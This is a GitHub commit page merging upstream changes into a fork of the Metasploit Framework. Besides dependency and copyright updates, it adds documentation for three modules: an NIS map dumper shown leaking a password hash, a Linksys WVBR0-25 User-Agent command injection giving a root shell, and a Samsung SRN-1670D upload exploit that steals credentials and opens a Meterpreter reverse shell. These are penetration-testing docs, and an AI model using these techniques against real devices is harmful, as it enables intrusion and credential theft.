Skip to content

Commit 809d3d2

Browse files
committed
Merge branch 'rapid7/master' into goliath
2 parents 92e4358 + 18f16e7 commit 809d3d2

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

49 files changed

+3877
-979
lines changed

.mailmap

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
acammack-r7 <acammack-r7@github> <[email protected]>
22
acammack-r7 <acammack-r7@github> <[email protected]>
33
acammack-r7 <acammack-r7@github> <[email protected]>
4+
asoto-r7 <asoto-r7@github> <[email protected]>
45
bcook-r7 <bcook-r7@github> <[email protected]>
56
bcook-r7 <bcook-r7@github> <[email protected]>
67
bpatterson-r7 <bpatterson-r7@github> <“[email protected]”>
@@ -30,6 +31,7 @@ lsanchez-r7 <lsanchez-r7@github> <[email protected]>
3031
lsanchez-r7 <lsanchez-r7@github> <[email protected]>
3132
lsato-r7 <lsato-r7@github> <[email protected]>
3233
lvarela-r7 <lvarela-r7@github> <“[email protected]”>
34+
mkienow-r7 <mkienow-r7@github> <[email protected]>
3335
pbarry-r7 <pbarry-r7@github> <[email protected]>
3436
pdeardorff-r7 <pdeardorff-r7@github> <[email protected]>
3537
pdeardorff-r7 <pdeardorff-r7@github> <[email protected]>

COPYING

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
Copyright (C) 2006-2017, Rapid7, Inc.
1+
Copyright (C) 2006-2018, Rapid7, Inc.
22
All rights reserved.
33

44
Redistribution and use in source and binary forms, with or without modification,

Gemfile.lock

Lines changed: 12 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.29)
4+
metasploit-framework (4.16.32)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -10,6 +10,7 @@ PATH
1010
bcrypt_pbkdf
1111
bit-struct
1212
dnsruby
13+
faker
1314
filesize
1415
jsobfu
1516
json
@@ -124,12 +125,14 @@ GEM
124125
factory_girl_rails (4.9.0)
125126
factory_girl (~> 4.9.0)
126127
railties (>= 3.0.0)
128+
faker (1.8.7)
129+
i18n (>= 0.7)
127130
faraday (0.13.1)
128131
multipart-post (>= 1.2, < 3)
129132
ffi (1.9.18)
130133
filesize (0.1.1)
131134
fivemat (1.3.5)
132-
google-protobuf (3.5.0)
135+
google-protobuf (3.5.1)
133136
googleapis-common-protos-types (1.0.1)
134137
google-protobuf (~> 3.0)
135138
googleauth (0.6.2)
@@ -140,7 +143,7 @@ GEM
140143
multi_json (~> 1.11)
141144
os (~> 0.9)
142145
signet (~> 0.7)
143-
grpc (1.8.0)
146+
grpc (1.8.3)
144147
google-protobuf (~> 3.1)
145148
googleapis-common-protos-types (~> 1.0.0)
146149
googleauth (>= 0.5.1, < 0.7)
@@ -194,10 +197,10 @@ GEM
194197
metasploit_payloads-mettle (0.3.3)
195198
method_source (0.9.0)
196199
mini_portile2 (2.3.0)
197-
minitest (5.10.3)
200+
minitest (5.11.1)
198201
mqtt (0.5.0)
199-
msgpack (1.2.0)
200-
multi_json (1.12.2)
202+
msgpack (1.2.2)
203+
multi_json (1.13.1)
201204
multipart-post (2.0.0)
202205
nessus_rest (0.1.6)
203206
net-ssh (4.2.0)
@@ -291,22 +294,22 @@ GEM
291294
metasm
292295
rex-core
293296
rex-text
294-
rex-socket (0.1.9)
297+
rex-socket (0.1.10)
295298
rex-core
296299
rex-sslscan (0.1.5)
297300
rex-core
298301
rex-socket
299302
rex-text
300303
rex-struct2 (0.1.2)
301-
rex-text (0.2.15)
304+
rex-text (0.2.16)
302305
rex-zip (0.1.3)
303306
rex-text
304307
rkelly-remix (0.0.7)
305308
rspec (3.7.0)
306309
rspec-core (~> 3.7.0)
307310
rspec-expectations (~> 3.7.0)
308311
rspec-mocks (~> 3.7.0)
309-
rspec-core (3.7.0)
312+
rspec-core (3.7.1)
310313
rspec-support (~> 3.7.0)
311314
rspec-expectations (3.7.0)
312315
diff-lcs (>= 1.2.0, < 2.0)

LICENSE

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
22
Source: http://www.metasploit.com/
33

44
Files: *
5-
Copyright: 2006-2017, Rapid7, Inc.
5+
Copyright: 2006-2018, Rapid7, Inc.
66
License: BSD-3-clause
77

88
# The Metasploit Framework is provided under the 3-clause BSD license provided
1.16 KB
Binary file not shown.
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
## Intro
2+
3+
If you've worked with old Unix systems before, you've probably
4+
encountered NIS (Network Information Service). The most familiar way of
5+
describing it is a sort of hybrid between DNS and LDAP.
6+
7+
[Oracle][1] says the following about it:
8+
9+
> NIS is a distributed naming service. It is a mechanism for identifying and locating network objects and resources. It provides a uniform storage and retrieval method for network-wide information in a transport-protocol and media-independent fashion.
10+
11+
And on its use:
12+
13+
> By running NIS, the system administrator can distribute administrative databases, called maps, among a variety of servers (master and slaves). The administrator can update those databases from a centralized location in an automatic and reliable fashion to ensure that all clients share the same naming service information in a consistent manner throughout the network.
14+
15+
The module documented within will allow a tester to dump any map from an
16+
NIS server (running as `ypserv`). Usually, maps like `passwd.byname`
17+
contain things like hashes and user info, which can go a long way during
18+
a pentest.
19+
20+
## Setup
21+
22+
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
23+
If the link is down, you can find it via the Wayback Machine.
24+
25+
## Options
26+
27+
**PROTOCOL**
28+
29+
Set this to either TCP or UDP. TCP is the default due to easy discovery.
30+
31+
**DOMAIN**
32+
33+
Set this to your NIS domain.
34+
35+
**MAP**
36+
37+
Set this to the NIS map you want to dump. The default is `passwd`. You
38+
can use the nicknames described in the module info instead of the full
39+
map names.
40+
41+
**XDRTimeout**
42+
43+
Set this to the timeout in seconds for XDR decoding of the response.
44+
45+
## Usage
46+
47+
```
48+
msf > use auxiliary/gather/nis_ypserv_map
49+
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.0.2
50+
rhost => 192.168.0.2
51+
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
52+
domain => gesellschaft
53+
msf auxiliary(gather/nis_ypserv_map) > run
54+
55+
[+] 192.168.0.2:111 - Dumping map passwd.byname on domain gesellschaft:
56+
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
57+
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
58+
games:*:5:60:games:/usr/games:/usr/sbin/nologin
59+
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
60+
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
61+
sys:*:3:3:sys:/dev:/usr/sbin/nologin
62+
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
63+
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
64+
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
65+
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
66+
bin:*:2:2:bin:/bin:/usr/sbin/nologin
67+
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
68+
sync:*:4:65534:sync:/bin:/bin/sync
69+
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
70+
uuidd:*:108:112::/run/uuidd:/bin/false
71+
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
72+
root:*:0:0:root:/root:/bin/bash
73+
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
74+
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
75+
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
76+
messagebus:*:107:111::/var/run/dbus:/bin/false
77+
_apt:*:105:65534::/nonexistent:/bin/false
78+
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
79+
syslog:*:104:108::/home/syslog:/bin/false
80+
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
81+
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
82+
pollinate:*:111:1::/var/cache/pollinate:/bin/false
83+
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
84+
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
85+
lxd:*:106:65534::/var/lib/lxd/:/bin/false
86+
87+
[*] Auxiliary module execution completed
88+
msf auxiliary(gather/nis_ypserv_map) >
89+
```
90+
91+
After dumping a map, you can find it stored in `loot` later. You should
92+
be able to run something like John the Ripper directly on the
93+
`passwd.byname` map.
94+
95+
```
96+
msf auxiliary(gather/nis_ypserv_map) > loot
97+
98+
Loot
99+
====
100+
101+
host service type name content info path
102+
---- ------- ---- ---- ------- ---- ----
103+
192.168.0.2 passwd.byname text/plain /home/wvu/.msf4/loot/20180108143013_default_192.168.0.2_passwd.byname_509006.txt
104+
105+
msf auxiliary(gather/nis_ypserv_map) >
106+
```
107+
108+
[1]: https://docs.oracle.com/cd/E23824_01/html/821-1455/anis1-25461.html
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
## Vulnerable Application
2+
3+
This module exploits a command injection vulnerability in the Linksys WVBR0-25 wireless video bridge. More information about the device itself can be found on AT&T's [manuals page](https://www.att.com/help/manuals/directv/dvrs.html) under the "DIRECTV Wireless Video Bridge Gen2 Product Manual" heading, as well as on this [unofficial product page](https://www.solidsignal.com/pview.asp?p=wvb). A description of the exploited vulnerability is available in the Vulnerability Details section of [this advisory](http://www.zerodayinitiative.com/advisories/ZDI-17-973/).
4+
The latest confirmed vulnerable firmware version is 1.0.39. It may be possible to downgrade newer versions to a vulnerable version, but since firmware images are not available for download, this cannot be verified.
5+
6+
There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method browses to the root of the device's webserver with a User-Agent set to `"; printf "[random string]`. If the response contains an md5 hash of the random string, the device is vulnerable to command injection.
7+
8+
Manual exploitation would equate to browsing to the URI `http://<ip>/` with the User-Agent header set to `"; command;`.
9+
10+
Version 1.0.39 was confirmed vulnerable, and firmware 1.0.41 was released to fix the exploit.
11+
12+
## Verification Steps
13+
14+
1. Make sure the device is running.
15+
2. Start msfconsole.
16+
3. Do: ```use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth```
17+
4. Do: ```set payload cmd/unix/bind_netcat```
18+
5. Do: ```set RHOST [ip]```
19+
6. Do: ```exploit```
20+
7. You should get a shell.
21+
22+
## Options
23+
24+
**PAYLOAD**
25+
26+
The `generic` and `netcat` payload types are valid.
27+
28+
## Scenarios
29+
30+
### Firmware 1.0.39
31+
32+
The following is an example run getting a shell:
33+
34+
```
35+
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
36+
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat
37+
payload => cmd/unix/bind_netcat
38+
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
39+
RHOST => 10.0.0.104
40+
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
41+
42+
[*] 10.0.0.104:80 - Trying to access the device ...
43+
[*] Started bind handler
44+
[*] 10.0.0.104:80 - Exploiting...
45+
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
46+
id
47+
48+
uid=0(root) gid=0(root)
49+
```
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
## Description
2+
3+
Samsung NVR Recorder SRN-1670D is a high performance network video recorder. An arbitrary file
4+
upload vulnerability was found in the Web Viewer component, which could allow an authenticated
5+
user to upload a PHP payload to get code exuection. The vulnerable code can be found in
6+
network_ssl_upload.php:
7+
8+
```php
9+
22 $path = "./upload/";
10+
23 $file = $_FILES[ "attachFile" ];
11+
24 $isApply = ( int )$_POST[ "is_apply" ];
12+
25 $isInstall = ( int )$_POST[ "isInstall" ];
13+
26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
14+
27
15+
28 // create socket
16+
29 $N_message = "";
17+
30 $sock = mySocket_create($_is_unix_socket);
18+
31 $connected = mySocket_connect($_is_unix_socket, $sock);
19+
32
20+
33 $loginInfo = new loginInfo();
21+
34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
22+
35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
23+
36 if ($connected) {
24+
37 $id = $loginInfo->get_id();
25+
38 $xmlFile = $id.'_config.xml';
26+
39 $N_message = "dummy".nvr_command::DELIM;
27+
40 $N_message .= "userid ".$id.nvr_command::DELIM;
28+
41
29+
42 if ( $isInstall == 1 ) {
30+
43 // File upload ===============================================================
31+
44 if ( $file[ "error" ] 0 ) {
32+
45 $Error = "Error: ".$file[ "error" ];
33+
46 } else {
34+
47 $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
35+
48 }
36+
49 // ===========================================================================
37+
50 }
38+
```
39+
40+
To avoid the need of authentication, the exploit also takes advantage of another vulnerability
41+
(CVE-2015-8279) in the log exporting function to read an aribtrary file from the remote machine
42+
in order to obtain credentials that can be used for the attack.
43+
44+
## Vulnerable Application
45+
46+
Samsung NVR Recorder SRN-1670D is a hardware:
47+
48+
http://www.samsungcc.com.au/cctv/ip-nvr-solution/samsung-dvr-srn-1670d
49+
50+
## Scenario
51+
52+
```
53+
msf exploit(samsung_srv_1670d_upload_exec) > show options
54+
55+
Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):
56+
57+
Name Current Setting Required Description
58+
---- --------------- -------- -----------
59+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
60+
RHOST 192.168.1.200 yes The target address.
61+
RPORT 80 yes The target port (TCP).
62+
SSL false no Negotiate SSL/TLS for outgoing connections
63+
VHOST no HTTP server virtual host
64+
65+
66+
Payload options (php/meterpreter/reverse_tcp):
67+
68+
Name Current Setting Required Description
69+
---- --------------- -------- -----------
70+
LHOST 192.168.1.122 yes The listen address
71+
LPORT 4358 yes The listen port
72+
73+
74+
Exploit target:
75+
76+
Id Name
77+
-- ----
78+
0 Samsung SRN-1670D == 1.0.0.193
79+
80+
81+
msf exploit(samsung_srv_1670d_upload_exec) > exploit -j
82+
[*] Exploit running as background job.
83+
84+
[*] Started reverse TCP handler on 192.168.1.122:4358
85+
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
86+
[+] Credentials obtained successfully: admin:pass123!
87+
[*] Logging...
88+
[+] Authentication Succeeded
89+
[*] Generating payload[ eRdGKfFJ.php ]...
90+
[*] Uploading payload...
91+
[*] Executing payload...
92+
[*] Sending stage (33986 bytes) to 192.168.1.200
93+
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100
94+
```

0 commit comments

Comments
 (0)